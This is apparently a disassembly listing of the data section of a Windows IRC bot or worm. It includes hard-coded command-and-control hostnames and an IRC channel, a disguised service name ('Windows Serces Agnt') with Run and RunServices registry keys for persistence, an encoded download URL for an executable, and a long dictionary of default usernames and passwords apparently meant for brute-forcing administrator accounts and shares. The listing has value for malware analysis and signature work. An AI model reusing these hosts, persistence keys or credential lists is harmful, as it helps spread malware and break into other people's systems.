dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o
; sub_401ACD+3514o ...
dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o
; sub_401ACD+388Ao ...
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr
dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r
dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr
; sub_40D774r ...
align 10h
dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r
dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do
; sub_40D824+5Bo ...
dbl_427690 dq 9.765625e-4 ; DATA XREF: sub_4167A0+2BDr
; sub_4167A0+2D8r ...
dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r
dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r
dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r
; sub_417E84+3A7r
dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r
dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br
; sub_417E84+2D5r ...
dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r
dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr
; sub_417E84+138r ...
dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r
; sub_417E84+308r
dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r
dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br
flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r
flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr
flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r
flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r
dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr
; sub_41D19B+6Cr ...
dword_427700 dd 0FFFFFFFFh, 41E2AAh, 41E2BEh ; DATA XREF: sub_41E1D3+5o
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E52A+8Eo
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E52A+4Fo
align 4
byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .packed:off_43D0A4o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: .packed:off_43D0A0o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .packed:off_43D31Co
dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr
; sub_421BFF+ACr ...
dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr
dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o
align 4
dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o
dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o
dd offset loc_422AEA
align 8
dd offset sub_422AC8
dd offset sub_422AD2
dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o
dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o
dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o
dd offset loc_422E4D
align 10h
dd offset loc_422E39
dd offset loc_422E3D
dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o
dd offset loc_422EA3
align 8
dd offset loc_422E8F
dd offset loc_422E93
dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o
; sub_4244F4+39o ...
dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
; DATA XREF: sub_4232A8+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .packed:off_43D4ECo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
align 10h
asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
align 10h
dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
align 10h
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo
align 4
dd offset dword_427DAC
off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o
; sub_4260FE+2Co ...
dd offset sub_4260D5
dd offset sub_4262F6
dd offset dword_427DF8
off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao
; sub_426168o ...
dd offset sub_4260D5
dd offset loc_426332
dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o
; sub_4261D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o
dd offset dword_427E44
off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o
; sub_42629A+37o ...
dd offset sub_4260D5
dd offset loc_426314
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o
dd offset dword_427E88
off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o
; .packed:off_43DAF4o ...
dd offset dword_427EB8
off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o
; sub_42651A+8o ...
dd offset sub_42657A
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
align 10h
dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo
dd 3, 19930520h, 2 dup(0)
dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
; DATA XREF: sub_426636+5o
dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
; DATA XREF: sub_4268C1+5o
dd 43DAF4h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427D78 dd offset off_43DB0C ; DATA XREF: .packed:00427D90o
; .packed:00427DDCo ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427D78
dd offset dword_427D48+18h
dword_427D98 dd 3 dup(0) ; DATA XREF: .packed:00427DBCo
dd 2, 427D90h
dword_427DAC dd 3 dup(0) ; DATA XREF: .packed:00427C8Co
dd offset off_43DB0C
dd offset dword_427D98+4
off_427DC0 dd offset off_43DB2C ; DATA XREF: .packed:00427DD8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DC0
dd offset off_427D78
dd offset dword_427D48+18h
dd 0
db 0 ; DATA XREF: .packed:00427E08o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427DD8h
dword_427DF8 dd 3 dup(0) ; DATA XREF: .packed:00427C9Co
dd offset off_43DB2C
dd offset unk_427DE8
off_427E0C dd offset off_43DB4C ; DATA XREF: .packed:00427E24o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E0C
dd offset off_427D78
dd offset dword_427D48+18h
dword_427E30 dd 3 dup(0) ; DATA XREF: .packed:00427E54o
dd 3, 427E24h
dword_427E44 dd 3 dup(0) ; DATA XREF: .packed:00427CC8o
dd offset off_43DB4C
dd offset dword_427E30+4
off_427E58 dd offset off_43DB70 ; DATA XREF: .packed:00427E70o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E58
dd 0
db 0 ; DATA XREF: .packed:00427E98o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427E70h
dword_427E88 dd 3 dup(0) ; DATA XREF: .packed:00427CE8o
dd offset off_43DB70
dd offset unk_427E78
dd offset dword_427D48+18h
dword_427EA0 dd 4 dup(0) ; DATA XREF: .packed:00427EC8o
dd 1, 427E9Ch
dword_427EB8 dd 3 dup(0) ; DATA XREF: .packed:00427CF0o
dd offset off_43DAF4
dd offset dword_427EA0+8
align 10h
dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: .packed:loc_426AA7o
dd 0FFFFFFFFh, 426A90h, 0
dd offset sub_426A88
dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: .packed:loc_426AC4o
dd 0FFFFFFFFh, 426AB4h, 0
dd offset loc_426ABC
dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0)
; DATA XREF: .packed:loc_426AD0o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427F78h, 4 dup(0)
dd offset loc_40DA8E
dd 0FFFFFFFFh, 426ADAh
dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: .packed:loc_426AE2o
dd offset off_43DAF4
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42651Ah, 0
dd offset off_43DB0C
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426218h, 0
dd offset off_43DB2C
align 10h
dd 0FFFFFFFFh, 0
dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: .packed:0042801Co
dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo
; sub_4262F6+4Bo
dd offset sub_426168
dd 0
dd offset dword_427FF8+8
dd 0FFFFFFFFh, 426AECh
dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: .packed:loc_426AF4o
dd 0FFFFFFFFh, 426AFEh
dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: .packed:loc_426B06o
dd 0FFFFFFFFh, 426B10h
dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: .packed:loc_426B18o
dd offset off_43DB4C
align 8
dd 0FFFFFFFFh, 0
dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: .packed:004280C4o
dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo
; sub_4262F6+2Do
dd offset sub_426277
dd 0
dd offset dword_4280A0+8
dd 0FFFFFFFFh, 426B22h
dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: .packed:loc_426B2Ao
dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: .packed:00428104o
dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo
dd offset sub_4260BA
dd 0
dd offset dword_4280EC
dd 28308h, 2 dup(0)
dd 2836Eh, 271C4h, 28144h, 2 dup(0)
dd 28B82h, 27000h, 92h dup(0)
dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000 dd 0 ; DATA XREF: sub_41C164+1Fo
dd offset loc_401205
dd offset sub_40DB3C
dd offset sub_40F0EC
dword_429010 dd 0 ; DATA XREF: sub_41C164+1Ao
dword_429014 dd 0 ; DATA XREF: sub_41C164+10o
dd offset sub_41DA32
dd offset sub_420B0D
dd offset sub_42413E
dd offset sub_424F62
dword_429028 dd 0 ; DATA XREF: sub_41C164:loc_41C16Fo
dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o
dd offset sub_4241E3
dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o
dd offset sub_424F73
dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050 dd 80000002h, 429178h, 80000002h, 4291A8h, 80000001h, 429178h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: sub_401221+4A4r
; sub_401221+539r
dword_429070 dd 0C8Bh ; DATA XREF: sub_401221+585r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er
; sub_40BD91+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r
; sub_40BD91:loc_40C182r
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r
dword_42908C dd 1 ; DATA XREF: sub_401221+13Dr
dword_429090 dd 1 ; DATA XREF: sub_401221:loc_401562r
; sub_4188A6+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r
; sub_401ACD+B30r ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar
; sub_40AAAC+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aScortiser db 'scortiser',0 ; DATA XREF: sub_401221+5Do
; sub_401ACD:loc_40445Do ...
align 10h
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo
; sub_401ACD+7C9Ao
align 4
aSaber4_ircqfor db 'saber4.ircqforum.com',0 ; DATA XREF: sub_401221+490o
; sub_401221+52Ao
align 4
aFaak db '#FAAK#',0 ; DATA XREF: sub_401221+4B0o
; sub_401221+540o ...
align 4
aSaad_ db 'saad.',0 ; DATA XREF: sub_401221+4C7o
; sub_401221+552o
align 4
byte_4290EC db 73h ; DATA XREF: sub_401221:loc_401789r
; sub_401221+576o
aCorti1_dns2go_ db 'corti1.dns2go.com',0
align 10h
aFaak_0 db '#FAAK#',0 ; DATA XREF: sub_401221+58Co
align 4
aSaad__0 db 'saad.',0 ; DATA XREF: sub_401221+59Eo
align 10h
byte_429110 db 61h ; DATA XREF: sub_401221+143o
; sub_401221+167w ...
db 69h, 79h, 69h
dd 7777756Bh, 78652E75h, 65h, 6E6E6977h, 61622E74h, 74h
aWindowsSercesA db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
asc_429140: ; DATA XREF: .packed:0040AB2Bo
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 10h
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do
align 4
aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o
; sub_401ACD+1EA2o ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o
; sub_401ACD+730Co
align 10h
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo
; sub_401ACD+423Ao
align 4
off_429164 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo
; "*@admin.com"
off_429168 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
; sub_401ACD+7C3Ao
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 10h
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
; sub_41A6EA+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
; sub_41A6EA+D4o
align 10h
dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h
dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
dd 652E6D79h, 6578h, 429940h, 429930h, 429920h, 429914h
dd 42990Ch, 429904h, 4298FCh, 4298F4h, 4298E8h, 4298E0h
dd 4298D8h, 4298D0h, 4298C4h, 4298BCh, 4298B4h, 4298A8h
dd 4298A4h, 42989Ch, 429898h, 0
dd offset byte_43DB98
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_0 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dword_4294D4 dd 10h ; DATA XREF: sub_401ACD+AE0r
; sub_401ACD+B0Cr ...
aIntranet db 'intranet',0 ; DATA XREF: .packed:004294C0o
align 4
aLan db 'lan',0 ; DATA XREF: .packed:004294B8o
aMain db 'main',0 ; DATA XREF: .packed:004294B4o
align 10h
aWinpass db 'winpass',0 ; DATA XREF: .packed:004294B0o
aBlank db 'blank',0 ; DATA XREF: .packed:004294ACo
align 10h
aOffice db 'office',0 ; DATA XREF: .packed:004294A8o
align 4
aControl db 'control',0 ; DATA XREF: .packed:004294A4o
aXp db 'xp',0 ; DATA XREF: .packed:004294A0o
align 4
aNokia db 'nokia',0 ; DATA XREF: .packed:0042949Co
align 4
aHp db 'hp',0 ; DATA XREF: .packed:00429498o
align 10h
aSiemens db 'siemens',0 ; DATA XREF: .packed:00429494o
aCompaq db 'compaq',0 ; DATA XREF: .packed:00429490o
align 10h
aDell db 'dell',0 ; DATA XREF: .packed:0042948Co
align 4
aCisco db 'cisco',0 ; DATA XREF: .packed:00429488o
align 10h
aIbm db 'ibm',0 ; DATA XREF: .packed:00429484o
aOrainstall db 'orainstall',0 ; DATA XREF: .packed:0042947Co
align 10h
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .packed:00429478o
align 4
aSql db 'sql',0 ; DATA XREF: .packed:00429474o
aSa db 'sa',0 ; DATA XREF: .packed:00429470o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: .packed:0042946Co
align 4
aDb1 db 'db1',0 ; DATA XREF: .packed:00429464o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .packed:00429460o
align 4
aData db 'data',0 ; DATA XREF: .packed:0042945Co
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: .packed:00429458o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .packed:00429454o
align 10h
aDbpass db 'dbpass',0 ; DATA XREF: .packed:00429450o
align 4
aAccess db 'access',0 ; DATA XREF: .packed:0042944Co
align 10h
aDomainpassword db 'domainpassword',0 ; DATA XREF: .packed:00429444o
align 10h
aDomainpass db 'domainpass',0 ; DATA XREF: .packed:00429440o
align 4
aDomain db 'domain',0 ; DATA XREF: .packed:0042943Co
align 4
aHello db 'hello',0 ; DATA XREF: .packed:00429438o
align 4
aHell db 'hell',0 ; DATA XREF: .packed:00429434o
align 4
aGod db 'god',0 ; DATA XREF: .packed:00429430o
aSex db 'sex',0 ; DATA XREF: .packed:0042942Co
aSlut db 'slut',0 ; DATA XREF: .packed:00429428o
align 4
aBitch db 'bitch',0 ; DATA XREF: .packed:00429424o
align 4
aFuck db 'fuck',0 ; DATA XREF: .packed:00429420o
align 4
aExchange db 'exchange',0 ; DATA XREF: .packed:0042941Co
align 10h
aBackup db 'backup',0 ; DATA XREF: .packed:00429418o
align 4
aTechnical db 'technical',0 ; DATA XREF: .packed:00429414o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: .packed:00429410o
align 10h
aLogin db 'login',0 ; DATA XREF: .packed:0042940Co
align 4
aMary db 'mary',0 ; DATA XREF: .packed:00429408o
align 10h
aKatie db 'katie',0 ; DATA XREF: .packed:00429404o
align 4
aKate db 'kate',0 ; DATA XREF: .packed:004293FCo
align 10h
aGeorge db 'george',0 ; DATA XREF: .packed:004293F8o
align 4
aEric db 'eric',0 ; DATA XREF: .packed:004293F4o
align 10h
aChris db 'chris',0 ; DATA XREF: .packed:004293F0o
align 4
aIan db 'ian',0 ; DATA XREF: .packed:004293ECo
aNeil db 'neil',0 ; DATA XREF: .packed:004293E8o
align 4
aLee db 'lee',0 ; DATA XREF: .packed:004293E4o
aBrian db 'brian',0 ; DATA XREF: .packed:004293E0o
align 10h
aSusan db 'susan',0 ; DATA XREF: .packed:004293D8o
align 4
aSue db 'sue',0 ; DATA XREF: .packed:004293D4o
aSam db 'sam',0 ; DATA XREF: .packed:004293D0o
aLuke db 'luke',0 ; DATA XREF: .packed:004293CCo
align 4
aPeter db 'peter',0 ; DATA XREF: .packed:004293C8o
; .packed:004293DCo
align 10h
aJohn db 'john',0 ; DATA XREF: .packed:004293C4o
align 4
aMike db 'mike',0 ; DATA XREF: .packed:004293C0o
align 10h
aBill db 'bill',0 ; DATA XREF: .packed:004293BCo
align 4
aFred db 'fred',0 ; DATA XREF: .packed:004293B8o
align 10h
aJoe db 'joe',0 ; DATA XREF: .packed:004293B4o
aJen db 'jen',0 ; DATA XREF: .packed:004293B0o
aBob db 'bob',0 ; DATA XREF: .packed:004293ACo
; .packed:00429400o
aQwe db 'qwe',0 ; DATA XREF: .packed:004293A8o
aZxc db 'zxc',0 ; DATA XREF: .packed:004293A4o
aAsd db 'asd',0 ; DATA XREF: .packed:004293A0o
aQaz db 'qaz',0 ; DATA XREF: .packed:0042939Co
aWin2000 db 'win2000',0 ; DATA XREF: .packed:00429398o
aWinnt db 'winnt',0 ; DATA XREF: .packed:00429394o
align 4
aWinxp db 'winxp',0 ; DATA XREF: .packed:00429390o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .packed:0042938Co
align 4
aWin98 db 'win98',0 ; DATA XREF: .packed:00429388o
align 4
